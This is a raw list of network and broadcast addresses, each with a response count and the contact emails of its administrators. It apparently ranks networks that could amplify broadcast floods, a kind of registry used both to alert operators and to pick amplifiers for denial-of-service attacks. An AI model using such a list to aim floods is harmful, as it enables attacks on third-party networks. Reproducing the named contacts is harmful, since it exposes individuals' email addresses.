      28        208.248.220.255    bill@columbiasussex.com
      28        209.167.44.0       endicottg@mlgltd.com
      28        207.225.84.0       dlongar@uswest.net
      28        208.232.127.0      nomailbox@nowhere
      28        209.146.18.0       hostmaster@idci.net
      28        209.146.18.255     hostmaster@idci.net
      28        208.212.143.255    david.moyle@teligent.com
      28        216.60.108.0       hostmaster@swbell.net
      28        209.193.191.255    mromm@kivex.com
      27        24.217.1.255       mczakaria@chartercom.com
      27        193.50.189.0       blanc@enit.fr
      27        193.50.189.255     blanc@enit.fr
      27        193.51.50.0
      27        194.235.135.255    csl01@mail.telepac.pt
      27        198.112.56.0       mikem@cw.com
      27        200.17.178.0       gomide@nic.br
      27        200.23.40.255      jescalera@mail.nl.gob.mx
      27        200.23.43.0        jescalera@mail.nl.gob.mx
      27        202.104.150.255
      27        202.24.143.255     hostmaster@nic.ad.jp
      27        204.131.139.255    emontero@gmgw.com
      27        204.171.125.255    sph@nauticom.net
      27        204.254.150.0      postmaster@arn.net
      27        204.254.150.255    postmaster@arn.net
      27        204.30.45.0        herbert.kwok@jwtworks.com
      27        204.30.45.255      herbert.kwok@jwtworks.com
      27        205.213.180.0      ahintz@wisp.k12.wi.us
      27        206.172.156.0      debbie@worldlinx.com
      27        206.172.156.255    debbie@worldlinx.com
      27        206.172.201.0      debbie@worldlinx.com
      27        206.172.201.255    debbie@worldlinx.com
      27        206.172.202.0      debbie@worldlinx.com
      27        206.172.202.255    debbie@worldlinx.com
      27        206.172.203.0      debbie@worldlinx.com
      27        206.172.203.255    debbie@worldlinx.com
      27        206.172.204.0      debbie@worldlinx.com
      27        206.172.204.255    debbie@worldlinx.com
      27        206.172.227.0      debbie@worldlinx.com
      27        206.172.227.255    debbie@worldlinx.com
      27        206.172.240.0      debbie@worldlinx.com
      27        206.172.240.255    debbie@worldlinx.com
      27        206.172.241.0      debbie@worldlinx.com
      27        206.172.241.255    debbie@worldlinx.com
      27        206.172.242.0      debbie@worldlinx.com
      27        206.172.242.255    debbie@worldlinx.com
      27        206.172.243.0      debbie@worldlinx.com
      27        206.172.243.255    debbie@worldlinx.com
      27        206.172.94.0       debbie@worldlinx.com
      27        206.172.94.255     debbie@worldlinx.com
      27        207.115.60.255     harrycw@prodigy.net
      27        209.233.209.0      ip-admin@pbi.net
      27        207.202.66.255     noc@corp.idt.net
      27        216.50.134.255     technical@kivex.com
      27        207.202.66.0       noc@corp.idt.net
      27        206.97.4.0         william.winkel@spencergifts.com
      27        208.240.37.0       kuba.tatarkiwicz@themedco.com
      27        208.212.74.0       espencer@globix.com
      27        208.212.74.255     espencer@globix.com
      27        207.153.112.0      noc@netrail.net
      27        207.99.208.0       art@lacoe.edu
      27        208.152.233.0      doug@cookman.edu
      27        207.153.112.255    noc@netrail.net
      27        209.233.209.255    ip-admin@pbi.net
      27        208.152.233.255    doug@cookman.edu
      27        208.144.7.0        DIGICON@mindspring.com
      27        209.207.15.0       amcbeth@wacohs.com
      27        208.144.7.255      DIGICON@mindspring.com
      27        207.115.60.0       harrycw@prodigy.net
      27        206.74.159.0       mckee@admin.infoave.net
      27        206.74.159.255     mckee@admin.infoave.net
      27        207.97.140.0       sbriggs@i-2000.com
      27        209.48.15.255      dns@digex.net
      27        207.97.140.255     sbriggs@i-2000.com
      27        216.1.138.255      dns@digex.net
      27        216.27.3.0         mbn@ilan.net
      27        207.61.114.0       debbie@bellglobal.com
      27        207.61.180.0       debbie@bellglobal.com
      27        207.61.184.0       debbie@bellglobal.com
      27        207.61.114.255     debbie@bellglobal.com
      27        207.61.180.255     debbie@bellglobal.com
      27        207.61.184.255     debbie@bellglobal.com
      27        208.2.81.255       jstabler@emi.net
      27        207.108.165.255    dns-info@uswest.net
      27        207.55.63.0        baron@aa.net
      27        207.108.165.0      dns-info@uswest.net
      27        209.70.110.255     hostmaster@clark.net
      27        209.132.128.0      hostmaster@alameda-coe.k12.ca.us
      27        208.153.239.0      lnguyen@gstworld.net
      27        208.153.239.255    lnguyen@gstworld.net
      27        216.60.98.255      hostmaster@swbell.net
      26        63.64.128.255      info@schwablearning.org
      26        194.167.45.0       bdulmet@ens2m.fr
      26        194.193.118.0
      26        194.193.118.255
      26        194.205.160.0      support@insnet.net
      26        198.64.33.0        hostmaster@sesqui.net
      26        198.64.33.255      hostmaster@sesqui.net
      26        199.104.18.0       hathpaul@ba.isu.edu
      26        199.104.18.255     hathpaul@ba.isu.edu
      26        199.249.19.255     paul.weber@mci.com
      26        200.23.41.255      jescalera@mail.nl.gob.mx
      26        200.23.43.255      jescalera@mail.nl.gob.mx
      26        200.39.223.255     rgarcia@mvs.com.mx
      26        202.212.202.0      hostmaster@nic.ad.jp
      26        202.212.202.255    hostmaster@nic.ad.jp
      26        202.234.4.0        hostmaster@nic.ad.jp
      26        202.234.4.255      hostmaster@nic.ad.jp
      26        204.142.205.0      stone@salem.cc.nj.us
      26        204.142.205.255    stone@salem.cc.nj.us
      26        204.168.129.0      ny0149@mail.nyer.net
      26        204.168.129.255    ny0149@mail.nyer.net
      26        204.171.125.0      sph@nauticom.net
      26        204.245.217.0      spencer@bendnet.com
      26        204.245.217.255    spencer@bendnet.com
      26        204.255.216.0      sysop@iwl.net
      26        204.50.62.255      noc@sprint-canada.net
      26        204.73.51.0        mike@haven.com
      26        204.73.51.255      mike@haven.com
      26        205.221.234.0      grpjl@iastate.edu
      26        205.227.63.0       lgoodman@iacnet.com
      26        205.244.244.0      ddalton@netreveal.com
      26        206.15.182.0       wink@ziplink.net
      26        206.163.29.0       spencer@bendnet.com
      26        206.163.31.0       hostmaster@rain.net
      26        206.163.31.255     hostmaster@rain.net
      26        216.103.204.0      ip-admin@pbi.net
      26        216.111.166.255    noc@qwest.net
      26        216.103.205.255    ip-admin@pbi.net
      26        207.215.238.255    jaykata@ltsc.org
      26        207.66.244.255     pat@wolfe.net
      26        216.111.15.0       PETRONICK@convergence.com
      26        216.111.220.0      asadowsky@westla.studley.com
      26        216.111.15.255     PETRONICK@convergence.com
      26        209.227.70.255     eric@mxol.com
      26        216.111.220.255    noc@qwest.net
      26        207.165.81.0       dave.klinkefus@icn.state.ia.us
      26        209.94.160.0       wells@wctc.net
      26        207.164.163.0      debbie@bellglobal.com
      26        206.28.86.255      lmarcus@magibox.net
      26        209.94.163.255     wells@wctc.net
      26        207.164.163.255    debbie@bellglobal.com
      26        207.165.81.255     dave.klinkefus@icn.state.ia.us
      26        208.169.108.0      ayre@convergence.com
      26        208.169.109.0      ayre@convergence.com
      26        209.78.215.0       nomailbox@nowhere
      26        210.150.28.255     hostmaster@nic.ad.jp
      26        208.169.108.255    ayre@convergence.com
      26        208.169.109.255    ayre@convergence.com
      26        209.78.215.255     nomailbox@nowhere
      26        207.107.141.0      noc@sprint-canada.net
      26        216.132.110.0      dnstech@eni.net
      26        216.132.106.255    dnstech@eni.net
      26        216.1.136.0        dns@digex.net
      26        209.39.117.255     netadmin@onramp.net
      26        216.1.136.255      dns@digex.net
      26        208.30.140.255     MPOWELL@hublink.com
      26        216.146.128.0      mike@bwn.net
      26        207.96.71.0        domreg@erols.com
      26        208.215.55.255     bo@quicklink.com
      26        209.69.61.0        dns@rust.net
      26        209.69.145.0       dns@rust.net
      26        210.235.164.0      hostmaster@nic.ad.jp
      26        209.69.176.0       chris@sensible-net.com
      26        209.69.61.255
      26        209.69.176.255     chris@sensible-net.com
      26        206.176.32.0       kimh@is.state.sd.us
      26        209.47.137.255     bmollon@saatchi.ca
      26        207.28.180.255     dave.klinkefus@icn.state.ia.us
      26        209.208.223.0      hostmaster@pfmc.net
      26        208.232.127.255    nomailbox@nowhere
      26        209.208.223.255    hostmaster@pfmc.net
      26        207.203.4.255      ipadmin@bellsouth.net
      26        209.132.128.255    hostmaster@alameda-coe.k12.ca.us
      26        206.176.32.255     kimh@is.state.sd.us
      26        208.228.41.255     bkressman@netexplorer.com
      26        209.100.174.255    noc@uss.net
      26        209.193.191.0      mromm@kivex.com
      26        209.215.115.255    ipadmin@bellsouth.net
      25        24.6.16.0          noc@noc.home.net
      25        192.208.22.0       hays@wapa.gov
      25        192.208.22.255     hays@wapa.gov
      25        192.251.100.255    MCCOY@ucsvm.mcneese.edu
      25        193.106.23.0       yp@jouve.fr
      25        193.205.54.255     staff-lir@garr.net, Enzo.Valente@infn.it,
                                  maint@imiucsc.bitnet, mlombard@mi.unicatt.it
      25        194.151.209.0      said@interclimax.com
      25        194.57.10.0        techfem@mobilia.it
      25        194.57.10.255      techfem@mobilia.it
      25        195.27.208.255     spona@tmt.de, hoereth@tmt.de,
                                  peter.maisel@maisel.de, hostmaster@maisel.de
      25        198.145.48.255     dns@e-z.net
      25        199.182.216.0      Louis_Lee@icgcomm.com
      25        199.182.216.255    Louis_Lee@icgcomm.com
      25        200.23.41.0        jescalera@mail.nl.gob.mx
      25        200.39.223.0       rgarcia@mvs.com.mx
      25        202.104.150.0
      25        202.77.222.0       belcina@attmail.com
      25        202.77.222.255     belcina@attmail.com
      25        203.244.121.0      ikoh@rs.krnic.net, syha@rs.krnic.net
      25        203.244.121.255    ikoh@rs.krnic.net, syha@rs.krnic.net
      25        203.38.29.0        hostmaster@telstra.net
      25        204.171.52.0       crbaugh@pennet.com
      25        204.171.52.255     crbaugh@pennet.com
      25        204.4.229.0        hostinfo@psi.com
      25        204.4.229.255      hostinfo@psi.com
      25        205.126.59.0       mcleary@uen.org
      25        205.126.59.255     mcleary@uen.org
      25        205.139.127.255    kerrigan@syrlang.com
      25        205.143.126.255    rtesta@gia.org
      25        205.184.238.0      root@cattco.com
      25        205.184.238.255    root@cattco.com
      25        205.221.100.0      grpjl@iastate.edu
      25        205.221.100.255    grpjl@iastate.edu
      25        205.221.234.255    grpjl@iastate.edu
      25        205.221.235.0      grpjl@iastate.edu
      25        205.221.235.255    grpjl@iastate.edu
      25        205.244.244.255    ddalton@netreveal.com
      25        206.108.86.0       bhewlitt@interlog.com
      25        206.108.86.255     bhewlitt@interlog.com
      25        206.170.104.0      rlai@paclink.net
      25        207.158.27.255     dns@adnc.com
      25        208.129.111.0      pablo@mmind.net
      25        210.169.71.0       hostmaster@nic.ad.jp
      25        209.102.84.0       dns-admin@ixa.net
      25        207.16.219.255     help@uunet.uu.net
      25        210.224.249.255    hostmaster@nic.ad.jp
      25        208.130.144.0      nomailbox@nowhere
      25        207.66.244.0       pat@wolfe.net
      25        210.224.249.0      hostmaster@nic.ad.jp
      25        210.161.160.255    hostmaster@nic.ad.jp
      25        216.101.120.0      ip-admin@pbi.net
      25        207.16.219.0       help@uunet.uu.net
      25        207.215.238.0      jaykata@ltsc.org
      25        210.169.71.255     hostmaster@nic.ad.jp
      25        216.101.123.255    ip-admin@pbi.net
      25        212.250.2.0        nmc@ntli.net, bob.procter@ntli.net
      25        212.140.54.0       support@bt.net
      25        212.140.55.0       support@bt.net
      25        209.82.81.0        NOCToronto@metronet.ca
      25        210.141.247.0      hostmaster@nic.ad.jp
      25        212.250.2.255      nmc@ntli.net, bob.procter@ntli.net
      25        209.82.81.255      NOCToronto@metronet.ca
      25        209.82.88.255      NOCToronto@metronet.ca
      25        210.141.247.255    hostmaster@nic.ad.jp
      25        208.243.98.0       dave@mva.net
      25        208.243.100.0      dave@mva.net
      25        208.243.101.0      dave@mva.net
      25        210.127.200.0      mgr@matrix.shinbiro.com, ip@matrix.shinbiro.com
      25        208.243.98.255     dave@mva.net
      25        208.243.99.255     dave@mva.net
      25        208.243.100.255
      25        208.130.144.255    nomailbox@nowhere
      25        208.225.145.0      postmaster@dnap.com
      25        209.167.146.0      itelford@scaleable.com
      25        207.161.8.255      traceyv@tds.mb.ca
      25        209.183.215.0      noc@atlantech.net
      25        208.243.99.0       dave@mva.net
      25        207.107.141.255    noc@sprint-canada.net
      25        216.132.107.0      dnstech@eni.net
      25        216.132.111.255    dnstech@eni.net
      25        210.127.194.255    mgr@matrix.shinbiro.com, ip@matrix.shinbiro.com
      25        216.1.138.0        dns@digex.net
      25        208.168.208.0      julianc@peganet.net
      25        210.163.253.0      hostmaster@nic.ad.jp
      25        216.132.107.255    dnstech@eni.net
      25        208.168.208.255    julianc@peganet.net
      25        210.74.226.0       std-gm@online.sh.cn, std-gm@online.sh.cn
      25        208.201.208.255    shai@interramp.com
      25        208.219.165.0      dchayer@research.yankeegroup.c
      25        208.219.165.255    dchayer@research.yankeegroup.c
      25        208.20.180.255     aweisblatt@diefenbachelkins.com
      25        208.2.81.0         jstabler@emi.net
      25        209.107.45.255     hostmaster@co.verio.net
      25        209.227.75.0       eric@mxol.com
      25        208.192.231.255    noc@interactive.net
      25        209.12.84.0        acasec@mindspring.com
      25        209.100.183.0      danh@tbcnet.com
      25        209.12.84.255      acasec@mindspring.com
      25        207.249.144.0      nobody@nowhere.com.mx
      25        208.18.250.0       jlytle@magicorp.com
      25        208.18.250.255     jlytle@magicorp.com
      24        24.4.63.0          noc@noc.home.net
      24        24.6.16.255        noc@noc.home.net
      24        63.64.218.0        ryanm@carr.org
      24        63.64.219.0        help@uunet.uu.net
      24        167.216.167.0      tom@htdc.org
      24        192.246.231.0      hostinfo@psi.com
      24        192.246.231.255    hostinfo@psi.com
      24        194.168.1.0        nmc@ntli.net, chrism@cableol.net
      24        194.168.1.255      nmc@ntli.net, chrism@cableol.net
      24        195.198.22.0
      24        195.198.22.255
      24        195.249.88.0
      24        195.7.84.255       daniel@sandberg.se, johan@pi.se
      24        198.119.8.0        Curt.A.Suprock.1@gsfc.nasa.gov
      24        198.119.8.255      Curt.A.Suprock.1@gsfc.nasa.gov
      24        198.150.128.255    jengel@co.waukesha.wi.us
      24        198.64.44.255      hostmaster@sesqui.net
      24        199.1.158.255      netadmin@onramp.net
      24        199.108.74.0       dns@cerf.net
      24        200.0.224.0        jorge@satlink.com
      24        202.132.227.0      ip@ktnet.co.kr
      24        202.132.227.255    dyang@mky.com, jackey@mky.com
      24        202.232.118.0      hostmaster@nic.ad.jp
      24        202.232.118.255    hostmaster@nic.ad.jp
      24        202.33.96.0        hostmaster@nic.ad.jp
      24        203.127.27.0       meng@mediacity.com.sg, hostmaster@singnet.com.sg
      24        203.127.27.255     meng@mediacity.com.sg, hostmaster@singnet.com.sg
      24        203.8.88.0         roger@next.com.au
      24        204.131.139.0      emontero@gmgw.com
      24        204.151.38.0       bterry@burnettgroup.com
      24        204.151.38.255     bterry@burnettgroup.com
      24        204.179.122.0      mdg@epnet.com
      24        204.179.122.255    mdg@epnet.com
      24        204.233.66.255     Thane_White@shscom.com
      24        204.34.17.255
      24        205.169.44.255     wgrendle@csn.net
      24        205.178.84.0       dave@brainstorm.net
      24        205.205.132.0      dgiroux@cenosis.com
      24        205.253.114.255    karl@mcs.com
      24        206.194.58.255     wray@nevada.edu
      24        206.194.58.0       wray@nevada.edu
      24        207.177.42.255     noc@netins.net
      24        207.1.191.0        dspeed@midusa.net
      24        207.22.96.0        hostmaster@clark.net
      24        207.22.96.255      hostmaster@clark.net
      24        212.250.1.0        nmc@ntli.net, pulak.rakshit@ntli.net
      24        210.164.17.0       hostmaster@nic.ad.jp
      24        210.227.123.0      hostmaster@nic.ad.jp
      24        212.250.1.255      nmc@ntli.net, pulak.rakshit@ntli.net
      24        210.164.17.255     hostmaster@nic.ad.jp
      24        210.227.123.255    hostmaster@nic.ad.jp
      24        207.183.136.255    noc@unicom.net
      24        212.140.54.255     support@bt.net
      24        207.109.152.255    dns-info@uswest.net
      24        207.50.128.0       dnsadmin@eznet.net
      24        209.105.128.0      dnsadmin@eznet.net
      24        209.105.130.0      dnsadmin@eznet.net
      24        207.50.137.0       dnsadmin@eznet.net
      24        208.157.157.0      billing@eznet.net
      24        208.145.15.255     stephent@intelis.com
      24        207.50.128.255     dnsadmin@eznet.net
      24        209.105.129.255    dnsadmin@eznet.net
      24        209.105.131.255    dnsadmin@eznet.net
      24        207.50.137.255     dnsadmin@eznet.net
      24        208.157.157.255    billing@eznet.net
      24        212.158.14.0       support@insnet.net
      24        208.227.188.0      nb@jobtrak.com
      24        212.158.14.255     support@insnet.net
      24        208.227.188.255    nb@jobtrak.com
      24        208.6.63.0         postmaster@watsonelec.com
      24        208.6.63.255       postmaster@watsonelec.com
      24        216.132.106.0      dnstech@eni.net
      24        208.14.42.255      jerry@digital.net
      24        207.42.162.255     postmaster@southernvirginia.edu
      24        207.225.69.0       dlongar@uswest.net
      24        209.75.96.255      noc@atmnet.net
      24        209.227.41.0       eric@mxol.com
      24        206.222.63.0       kreed@artmarkchicago.com
      24        208.192.231.0      noc@interactive.net
      24        206.222.63.255     kreed@artmarkchicago.com
      24        216.101.206.255    ip-admin@pbi.net
      24        209.166.16.0       hostmaster@ultracom.net
      24        206.23.174.0       jwinters@tec.net
      24        206.23.174.255     jwinters@tec.net
      24        209.198.202.255
      24        208.228.41.0       bkressman@netexplorer.com
      24        207.174.151.0      jmiller@netinfrastructure.com
      24        207.249.144.255    nobody@nowhere.com.mx
      24        207.174.151.255    jmiller@netinfrastructure.com
      24        209.95.150.0       bob@storkeavenue.com
      24        208.26.206.0       pete@ashland.or.us
      24        207.249.142.255    nobody@nowhere.com.mx
      24        208.26.206.255     pete@ashland.or.us
      24        210.236.171.255    hostmaster@nic.ad.jp
      24        209.106.21.255     ben@more.net
      23        63.64.218.255      ryanm@carr.org
      23        63.64.219.255      help@uunet.uu.net
      23        63.65.8.255        twright@cathedral.org
      23        129.113.180.0      burnett@panam1.panam.edu
      23        129.113.180.255    burnett@panam1.panam.edu
      23        155.36.122.0       scott@ties.org
      23        155.36.122.255     scott@ties.org
      23        155.36.123.0       scott@ties.org
      23        155.36.123.255     scott@ties.org
      23        192.204.250.0      trouble@prep.net
      23        192.204.250.255    trouble@prep.net
      23        192.251.100.0      MCCOY@ucsvm.mcneese.edu
      23        193.106.9.255      yp@jouve.fr
      23        194.73.96.0        dcheetham@gateshead.ac.uk
      23        194.73.96.255      dcheetham@gateshead.ac.uk
      23        195.220.107.0
      23        198.168.5.255      registrar@interlink.net
      23        199.108.250.0      dns@cerf.net
      23        199.35.107.255     rick@merc-int.com
      23        200.5.200.0        nomailbox@nowhere
      23        200.5.200.255      nomailbox@nowhere
      23        202.213.5.255      hostmaster@nic.ad.jp
      23        203.139.53.0       hostmaster@nic.ad.jp
      23        203.139.53.255     hostmaster@nic.ad.jp
      23        203.146.30.0       kanok@loxinfo.co.th, patkamol@loxinfo.co.th
      23        203.8.88.255       roger@next.com.au
      23        204.0.28.0         hostmaster@sesqui.net
      23        204.0.28.255       hostmaster@sesqui.net
      23        204.112.189.0      admin@autobahn.mb.ca
      23        204.112.189.255    admin@autobahn.mb.ca
      23        204.152.143.0      ellen.eidelman@wizcom.com
      23        204.152.143.255    ellen.eidelman@wizcom.com
      23        204.160.19.255     pat@tandem.com
      23        204.17.16.0        rjcurry.oramail@apollogrp.edu
      23        204.17.16.255      rjcurry.oramail@apollogrp.edu
      23        204.48.153.255     tuma@ceo.sbceo.k12.ca.us
      23        204.57.191.0       john@bmi.net
      23        204.57.191.255     john@bmi.net
      23        204.7.180.0        hostinfo@psi.com
      23        204.7.180.255      hostinfo@psi.com
      23        205.120.114.0      mcleary@uen.org
      23        205.120.114.255    mcleary@uen.org
      23        205.120.116.0      mcleary@uen.org
      23        205.120.116.255    mcleary@uen.org
      23        205.125.42.0       mcleary@uen.org
      23        205.125.42.255     mcleary@uen.org
      23        205.237.226.255    nomailbox@nowhere
      23        206.100.150.0      nomailbox@nowhere
      23        206.138.26.0       dholowesko@bahamas.net.bs
      23        206.138.26.255     dholowesko@bahamas.net.bs
      23        206.150.180.0      billw@mail.icongrp.com
      23        206.150.180.255    billw@mail.icongrp.com
      23        207.177.123.0      noc@netins.net
      23        206.20.225.0       noc@corp.idt.net
      23        207.177.123.255    noc@netins.net
      23        207.233.136.0      noc@diginetusa.net
      23        207.233.136.255    noc@diginetusa.net
      23        206.20.225.255     noc@corp.idt.net
      23        210.225.98.255     hostmaster@nic.ad.jp
      23        207.238.117.0      dns@digex.net
      23        207.238.117.255    dns@digex.net
      23        207.165.86.0       dave.klinkefus@icn.state.ia.us
      23        208.203.150.0      dbach@globally.net
      23        208.154.170.0      ipadmin@cw.net
      23        208.203.150.255    dbach@globally.net
      23        208.154.170.255    ipadmin@cw.net
      23        207.109.152.0      dns-info@uswest.net
      23        207.205.184.0      netadmin@ao.wcom.net
      23        207.205.188.0      netadmin@ao.wcom.net
      23        207.205.250.0      netadmin@ao.wcom.net
      23        207.205.187.255    netadmin@ao.wcom.net
      23        207.205.191.255    netadmin@ao.wcom.net
      23        207.205.250.255    netadmin@ao.wcom.net
      23        208.247.2.0        hostmaster@btitelecom.net
      23        208.145.15.0       stephent@intelis.com
      23        208.247.2.255      hostmaster@btitelecom.net
      23        207.165.86.255     dave.klinkefus@icn.state.ia.us
      23        208.138.51.0       superdb@phonewave.net
      23        209.213.224.0      brad@odyssey.on.ca
      23        209.213.225.0      brad@odyssey.on.ca
      23        209.213.229.0      brad@odyssey.on.ca
      23        209.213.230.0      brad@odyssey.on.ca
      23        209.213.232.0      brad@odyssey.on.ca
      23        208.168.238.0      rpost@remc8.k12.mi.us
      23        209.213.240.0
      23        208.138.51.255     superdb@phonewave.net
      23        209.43.195.255     domain@accessone.com
      23        209.213.224.255    brad@odyssey.on.ca
      23        209.213.225.255    brad@odyssey.on.ca
      23        209.213.229.255    brad@odyssey.on.ca
      23        209.213.230.255    brad@odyssey.on.ca
      23        209.213.232.255    brad@odyssey.on.ca
      23        208.168.238.255    rpost@remc8.k12.mi.us
      23        209.213.240.255
      23        209.39.136.0
      23        207.190.143.0      hostmaster@source.net
      23        206.81.214.0       dns-info@uswest.net
      23        208.129.226.0      vince@markzware.com
      23        209.133.52.255     ecsd@transbay.net
      23        209.190.102.255    hostmaster@thenap.net
      23        207.190.143.255    hostmaster@source.net
      23        208.129.226.255    vince@markzware.com
      23        210.224.143.0      hostmaster@nic.ad.jp
      23        207.62.155.255     netadmin@moe.calpoly.edu
      23        208.5.185.0        nomailbox@nowhere
      23        208.5.185.255      nomailbox@nowhere
      23        207.247.41.0       William_Brechka@wcom.com
      23        207.247.41.255     William_Brechka@wcom.com
      23        206.201.241.255    scarr@huensd.k12.ca.us
      23        207.62.158.255     netadmin@moe.calpoly.edu
      23        206.43.52.255      baron@aa.net
      23        209.56.155.255     dave.klinkefus@icn.state.ia.us
      23        216.116.105.0      michael@sctraining.com
      23        209.76.79.0        emorton@shastalink.k12.ca.us
      23        209.122.30.255     domreg@erols.com
      23        209.76.79.255      emorton@shastalink.k12.ca.us
      23        207.174.179.0      jmiller@netinfrastructure.com
      23        207.174.179.255    jmiller@netinfrastructure.com
      23        216.168.240.255    cwei@netsol.com
      22        24.4.63.255        (none)
      22        24.6.19.0          noc@noc.home.net
      22        192.160.219.0      greenup@whittier.edu
      22        193.104.180.255
      22        193.106.23.255     yp@jouve.fr
      22        193.15.208.0
      22        193.252.125.0      postmaster@wanadoo.fr, abuse@wanadoo.fr,
      Sylvain.Causse@wanadoo.com
      22        193.252.125.255    postmaster@wanadoo.fr, abuse@wanadoo.fr,
      Sylvain.Causse@wanadoo.com
      22        193.98.234.0       admin@bbr-bremen.de
      22        193.98.234.255     admin@bbr-bremen.de
      22        195.14.130.0       c.a.makris@cytanet.com.cy
      22        195.14.130.255     c.a.makris@cytanet.com.cy
      22        195.14.133.0       c.a.makris@cytanet.com.cy
      22        195.14.133.255     c.a.makris@cytanet.com.cy
      22        195.171.110.0
      22        195.171.110.255
      22        195.41.127.0       aloc@image.dk
      22        198.150.128.0      jengel@co.waukesha.wi.us
      22        198.180.133.0      dnorwood@asnaam.aamu.edu
      22        198.180.133.255    dnorwood@asnaam.aamu.edu
      22        198.74.38.0        kengle@dynamix.com
      22        198.74.38.255      kengle@dynamix.com
      22        199.111.112.0      jaj@virginia.edu
      22        199.182.135.255    hostmaster@maxstrat.com
      22        200.47.63.0        linoc@comsat.com.ar
      22        202.103.129.0
      22        202.167.1.0
      22        202.167.1.255
      22        202.212.212.0      hostmaster@nic.ad.jp
      22        203.126.205.0      hostmaster@singnet.com.sg
      22        203.126.205.255    hostmaster@singnet.com.sg
      22        203.29.106.0       hostmaster@telstra.net
      22        204.116.114.0
      22        204.116.114.255
      22        204.116.96.0       mckee@admin.infoave.net
      22        204.131.140.255    emontero@gmgw.com
      22        204.152.145.0      netmaster@organic.com
      22        204.152.145.255    netmaster@organic.com
      22        204.181.91.255     nomailbox@nowhere
      22        204.196.30.255     shreid@alpha.nsula.edu
      22        204.228.247.255    bgore@mti.micron.com
      22        204.239.13.0       luv@district.north-van.bc.ca
      22        204.239.13.255     luv@district.north-van.bc.ca
      22        204.4.60.0         postmaster@harbinger.com
      22        204.4.60.255       postmaster@harbinger.com
      22        204.44.244.0       tahiels@worldnet.att.net
      22        204.44.244.255     tahiels@worldnet.att.net
      22        204.7.9.255        hostinfo@psi.com
      22        205.126.58.0       mcleary@uen.org
      22        205.126.58.255     mcleary@uen.org
      22        205.143.123.255    rtesta@gia.org
      22        205.208.65.255     mhwu@metropolitan.com
      22        205.213.18.255     Marlys.A.Nelson@uwrf.edu
      22        205.243.90.0       nomailbox@nowhere
      22        205.243.90.255     nomailbox@nowhere
      22        205.246.52.0       carter@dgsys.com
      22        206.0.253.0        hostinfo@psi.com
      22        206.0.253.255      hostinfo@psi.com
      22        206.104.102.0      netadmin@onramp.net
      22        206.104.102.255    netadmin@onramp.net
      22        206.16.91.0        dns@cerf.net
      22        206.161.8.0        domreg@cais.net
      22        206.161.8.255      domreg@cais.net
      22        206.166.243.0      mwilliam@ptc.dcs.edu
      22        207.213.24.0       dennis@globalpac.com
      22        207.213.24.255     dennis@globalpac.com
      22        208.152.72.0       noc@extremezone.com
      22        208.151.138.0
      22        210.134.206.0      hostmaster@nic.ad.jp
      22        210.156.209.0      hostmaster@nic.ad.jp
      22        210.156.210.0      hostmaster@nic.ad.jp
      22        210.156.210.255    hostmaster@nic.ad.jp
      22        207.165.80.0       dave.klinkefus@icn.state.ia.us
      22        209.215.20.0       ipadmin@bellsouth.net
      22        216.78.24.0        ipadmin@bellsouth.net
      22        209.214.200.0      ipadmin@bellsouth.net
      22        209.215.220.0      ipadmin@bellsouth.net
      22        209.215.20.255     ipadmin@bellsouth.net
      22        216.78.25.255      ipadmin@bellsouth.net
      22        209.214.201.255    ipadmin@bellsouth.net
      22        207.202.18.0       rosterman@rtquotes.com
      22        210.172.192.0      hostmaster@nic.ad.jp
      22        209.63.195.0       sforester@e-infoinc.com
      22        210.172.217.0      hostmaster@nic.ad.jp
      22        207.202.18.255     rosterman@rtquotes.com
      22        207.165.80.255     dave.klinkefus@icn.state.ia.us
      22        210.172.192.255    hostmaster@nic.ad.jp
      22        209.63.195.255     sforester@e-infoinc.com
      22        207.193.232.255    hostmaster@swbell.net
      22        206.234.131.0      hostinfo@psi.com
      22        209.162.12.0       noc@thegrid.net
      22        209.162.40.0       noc@thegrid.net
      22        209.162.54.0       noc@thegrid.net
      22        210.175.200.0      hostmaster@nic.ad.jp
      22        209.162.0.255      noc@thegrid.net
      22        209.234.11.255     Al.Johnson@state.net
      22        209.162.47.255     noc@thegrid.net
      22        209.162.54.255     noc@thegrid.net
      22        210.175.200.255    hostmaster@nic.ad.jp
      22        206.54.236.255     jmcdonald@megsinet.net
      22        209.234.11.0       Al.Johnson@state.net
      22        207.141.96.0       nomailbox@nowhere
      22        209.181.178.0      dns-info@uswest.net
      22        209.181.179.0      dns-info@uswest.net
      22        208.207.33.255     noc@bigplanet.net
      22        207.141.96.255     nomailbox@nowhere
      22        206.234.131.255    hostinfo@psi.com
      22        210.175.20.0       hostmaster@nic.ad.jp
      22        207.16.68.0        minieri@harbinger.net
      22        207.16.71.0        minieri@harbinger.net
      22        209.78.199.0       david.barnes@goar.com
      22        209.119.14.255     noc@digex.net
      22        207.16.68.255      minieri@harbinger.net
      22        207.16.71.255      minieri@harbinger.net
      22        209.78.199.255     david.barnes@goar.com
      22        207.42.162.0       postmaster@southernvirginia.edu
      22        209.213.205.255    mickey@nanospace.com
      22        216.3.77.0         dns@digex.net
      22        207.28.182.0       dave.klinkefus@icn.state.ia.us
      22        216.101.60.255     nomailbox@nowhere
      22        216.3.77.255       dns@digex.net
      22        207.28.182.255     dave.klinkefus@icn.state.ia.us
      22        206.81.214.255     dns-info@uswest.net
      22        209.73.238.0       hostmaster@pfmc.net
      22        209.73.238.255     hostmaster@pfmc.net
      22        208.14.86.0        mussel@ix.netcom.com
      22        206.50.218.0       netadmin@onramp.net
      22        208.14.86.255      mussel@ix.netcom.com
      22        206.50.218.255     netadmin@onramp.net
      22        209.14.135.255     dnr@spacelab.net
      22        216.32.96.255      Cstewart@flycast.com
      22        207.154.48.0       carter@dgsys.com
      22        207.154.48.255     carter@dgsys.com
      22        208.237.218.255    kjustice@bellatantic.net
      22        208.228.243.255    mpladsen@ustele.com
      22        216.101.60.0       nomailbox@nowhere
      21        24.217.0.255       mczakaria@chartercom.com
      21        155.50.21.0        bgallant@keps.com
      21        155.50.21.255      bgallant@keps.com
      21        161.223.77.255
      21        192.204.141.0
      21        192.204.141.255
      21        192.72.144.0       kaoci@tpts1.seed.net.tw
      21        192.72.144.255     kaoci@tpts1.seed.net.tw
      21        193.158.2.0        tgoetz@cube.net, Horn@eins-und-eins.de
      21        193.164.172.255    tony@anglianet.co.uk
      21        193.48.165.255     Michel.Leduc@univ-lehavre.fr,
      Serge.Huberson@univ-lehavre.fr
      21        194.168.215.0      nmc@ntli.net
      21        194.6.190.0        postmaster@hitline.ch
      21        195.179.117.0      lillge@is-europe.net
      21        195.222.211.255
      21        198.189.54.255     nes@4c.net
      21        198.59.97.0        valdez@chicoma.unm.losalamos.nm.us
      21        198.59.97.255      valdez@chicoma.unm.losalamos.nm.us
